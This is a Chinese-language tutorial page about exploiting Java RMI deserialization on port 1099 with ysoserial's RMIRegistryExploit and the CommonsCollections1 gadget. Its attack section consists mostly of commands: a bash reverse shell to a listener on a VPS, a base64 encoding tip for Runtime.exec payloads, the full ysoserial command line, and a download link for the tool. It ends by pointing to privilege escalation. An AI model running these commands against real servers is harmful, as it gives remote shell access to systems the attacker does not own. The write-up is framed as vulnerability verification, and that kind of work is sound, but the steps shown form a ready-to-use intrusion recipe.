栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

JAVA

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

JAVA

一、漏洞原理

RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。 RMI的传输100%基于反序列化。

二、漏洞详情

1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。此处尝试利用ysoserial进行漏洞分析。

工具下载链接(永久有效)

链接:https://pan.baidu.com/s/1n8aVs5EjlWkR59u0XdXWbQ

提取码:6666

三、验证漏洞

这里我们尝试反弹shell.

首先在vps上面监听端口

反弹到vps上 bash -i >& /dev/tcp/ip/port 0>&1

注意:有时命令执行有效载荷Runtime.getRuntime().exec()会失败。当使用 web shell、反序列化漏洞或通过其他向量时,可能会发生这种情况。在 base64 编码的帮助下,下面的转换器可以帮助减少这些问题。它可以通过调用 Bash 或 PowerShell 再次使管道和重定向变得更好,它还确保参数中没有空格。

base编码转换地址:https://www.jackson-t.ca/runtime-exec-payloads.html

本机cmd执行命令

把刚才经过base64编码生成的命令替换下面的“命令”。(通过漏扫设备已知改了默认端口,端口改为6200)

java cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.RMIRegistryExploit host port CommonsCollections1 "命令"

反弹shell成功,证明存在此漏洞。(获得的权限无法退格,后续可以通过提权进一步发掘)

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/684113.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号